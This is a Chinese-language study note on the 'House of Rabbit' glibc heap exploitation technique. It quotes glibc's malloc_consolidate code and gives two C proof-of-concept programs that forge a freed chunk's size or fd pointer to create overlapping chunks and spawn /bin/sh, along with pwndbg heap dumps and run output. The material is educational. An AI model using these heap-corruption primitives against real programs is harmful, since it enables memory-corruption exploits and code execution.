House of Rabbit 漏洞笔记

House of Rabbit 利用起来比较简单,比unlink之类的好理解很多,而且有时在不需要泄露基地址的情况下,也能起作用。该漏洞对于glibc-2.26以上的glibc,需要先绕过tcache机制。

前导知识

在malloc一个很大的chunk时,glibc会试图将fastbin的chunk进行合并。合并代码:

glibc-2.23/malloc/malloc.c:4199

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
  prevsize = p->prev_size;
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

  if (!nextinuse) {
    size += nextsize;
    unlink(av, nextchunk, bck, fwd);
  } else
    clear_inuse_bit_at_offset(nextchunk, 0);

  first_unsorted = unsorted_bin->fd;
  unsorted_bin->fd = p;
  first_unsorted->bk = p;

  if (!in_smallbin_range (size)) {
    p->fd_nextsize = NULL;
    p->bk_nextsize = NULL;
  }

  set_head(p, size | PREV_INUSE);
  p->bk = unsorted_bin;
  p->fd = first_unsorted;
  set_foot(p, size);
}
else {
  size += nextsize;
  set_head(p, size | PREV_INUSE);
  av->top = p;
}

在合并时,先检查下一个chunk是不是top chunk,如果是则直接合并,如果不是还要检查下一个chunk是否使用。

if (!nextinuse) {
  size += nextsize;
  unlink(av, nextchunk, bck, fwd);
}

如果不在使用状态的话,则进行合并。

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;

然后更新size,放到unsorted bin中。

情况一:chunk的size可控

正常情况

#include <stdlib.h>
#include <string.h>

int main()
{
    char *chunk1, *chunk2;
    chunk1 = malloc(24);
    chunk2 = malloc(24);
    malloc(0x10); // 防止与top chunk合并
    free(chunk1);
    free(chunk2);

    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    return 0;
}

正常情况下,上面的两个chunk会合并成一个size为0x40的chunk。

但当chunk的size可控时,我们可以将size直接设置为0x40,则下次check的nextchunk的时候,就会检查到chunk是在使用状态,而不会进行合并。这样在unsorted Bin中就有两个chunk,而且大的chunk包含着小的chunk。

漏洞举例:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *temp, *ptr, *sh, *payload;
    controllable_chunk = malloc(24); //size: 0x20
    temp = malloc(24);               //size: 0x20
    malloc(0x10);                    // 防止与top chunk合并

    free(controllable_chunk);
    free(temp);

    // controllable_chunk->size = 0x41
    *(long *)(controllable_chunk - 8) = 0x41;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(24);
    strncpy(sh, "id", 24 - 1);

    ptr = malloc(0x40 - 8);
    payload = "aaaaaaaaaaaaaaaa" // 16
              "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";
    strncpy(ptr, payload, 0x40 - 8 - 1);

    system(sh);

    return 0;
}

sh = malloc(24); 处下断点看看其heap状态:

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x20: 0x602020 —▸ 0x7ffff7dd5b88 (main_arena+104) ◂— 0x602020 /* '  `' */
0x40: 0x602000 —▸ 0x7ffff7dd5ba8 (main_arena+136) ◂— 0x602000
largebins
empty
pwndbg> p *(struct malloc_chunk *)0x602000
$1 = {
  prev_size = 0, 
  size = 65, 
  fd = 0x7ffff7dd5ba8 <main_arena+136>, 
  bk = 0x7ffff7dd5ba8 <main_arena+136>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x21
}
pwndbg> p *(struct malloc_chunk *)0x602020
$2 = {
  prev_size = 0, 
  size = 33, 
  fd = 0x7ffff7dd5b88 <main_arena+104>, 
  bk = 0x7ffff7dd5b88 <main_arena+104>, 
  fd_nextsize = 0x40, 
  bk_nextsize = 0x20
}
pwndbg> 

可以看出这两个chunk已经重合了,所以会出现漏洞。

运行效果:

ex@ubuntu:~/test$ make 23
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.23/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
$ echo hello
hello
$ exit 
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out 
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ex@ubuntu:~/test$ 

glibc-2.26以上要先绕过tcache机制。

情况二-chunk的fd指针可控

漏洞举例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *sh, *payload;
    long long *ptr;
    controllable_chunk = malloc(24); //size: 0x20
    ptr = malloc(0x100);             //size: 0x110
    malloc(0x10);                    // 防止与top chunk合并

    ptr[1] = 0x31;  //fake chunk size 0x30
    ptr[7] = 0x21;  //fake chunk's next chunk
    ptr[11] = 0x21; //fake chunk's next chunk's next chuck

    free(controllable_chunk);

    //  modify the fd of chunk1
    *(void **)controllable_chunk = ptr;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk,即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(0x30 - 8);
    strncpy(sh, "id", 0x30 - 8 - 1);

    payload = "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";

    strncpy((char *)ptr, payload, 0x100 - 1);

    system(sh);

    return 0;
}

这种情况和情况一的原理差不多。这里就不赘述了。

感悟-鸡汤

Do well in guiding yourself, rather than controlling yourself, so that you will get twice the result with half the effort, or you will feel very painful.

要善于引导自己,而不是控制自己,这样你会事半功倍,控制自己是很痛苦的事情。